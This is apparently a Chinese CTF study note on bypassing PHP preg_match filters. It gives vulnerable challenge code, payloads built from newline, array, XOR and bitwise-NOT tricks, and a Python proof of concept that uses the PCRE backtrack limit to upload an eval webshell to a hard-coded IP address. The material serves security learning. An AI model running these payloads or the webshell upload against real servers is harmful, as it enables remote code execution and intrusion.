preg_match正则绕过总结

最近写题遇到了很多次pre_match函数,但并不是每次都可以绕过。于是想要把这个函数总结一下用法。我个人认为preg_match的绕过方法主要取决于其正则表达式的写法。

首先对正则表达式的常见符号解释一下。

/ / 是一种格式吧,正则表达式需要写在这个里面

^:匹配输入字符串的开始位置

$:匹配输入字符串的结束位置

换行符绕过(%0a)

<?php

include("flag.php");

highlight_file(__FILE__);

$c = $_GET['c'];

if (preg_match('/^flag$/i', $c) && $c !== 'flag') {
    echo $flag;
}else{
    echo "nonono";
}

由于pre_match这个函数是只能匹配一行的数据,所以我们可以用%0a(也就是换行符)来绕过。

这里是因为$会忽略换行符

因此本题我们传入?c=flag%0a 即可绕过

注意此时正则表达式的模式是: i

利用数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

%5c绕过

<?php show_source(__FILE__); $key = "bad"; extract($_POST);        
// 使用POST接收参数 
if($key === 'bad'){        
// $key 与 'bad' 进行比较,值不相同时才可以继续运行代码    
die('badbad!!!'); } 
$act = @$_GET['act'];    
// 获得 act 参数 
$arg = @$_GET['arg'];    
// 获得 arg 参数 
if(preg_match('/^[a-z0-9_]*$/isD',$act)) 
{    // 针对act参数进行过滤    echo 'check'; } 
else {    $act($arg,'');        // 动态调用 } 
echo '666';
/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

这里存在/s和/D因此它会匹配到换行,%0a因此就无法绕过。这时候就可以使用%5c

preg_match(“/^$/e”) (注:php版本需要小于5.5.0)

<?
highlight_file(__FILE__);
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>

payload=xx?h=phpinfo();

PHP利用PCRE回溯次数限制绕过某些安全限制

poc

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

payload:?a=ssss………..省略n个字符,突破100万

异或绕过

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

可以使用各种特殊字符的异或构造出字母和数字

脚本:

str = r"~!@#$%^&*()_+<>?,.;:-[]{}/"

for i in range(0, len(str)):
    for j in range(0, len(str)):
        a = ord(str[i])^ord(str[j])
        print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))

payload:

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo

取反绕过

把getFlag取反然后URL编码:

 <?php echo urlencode(~"getFlag"); 

–> %98%9A%8B%B9%93%9E%98

依据这个我们可以构造payload:

 ?code=$_=~%98%9A%8B%B9%93%9E%98;$_();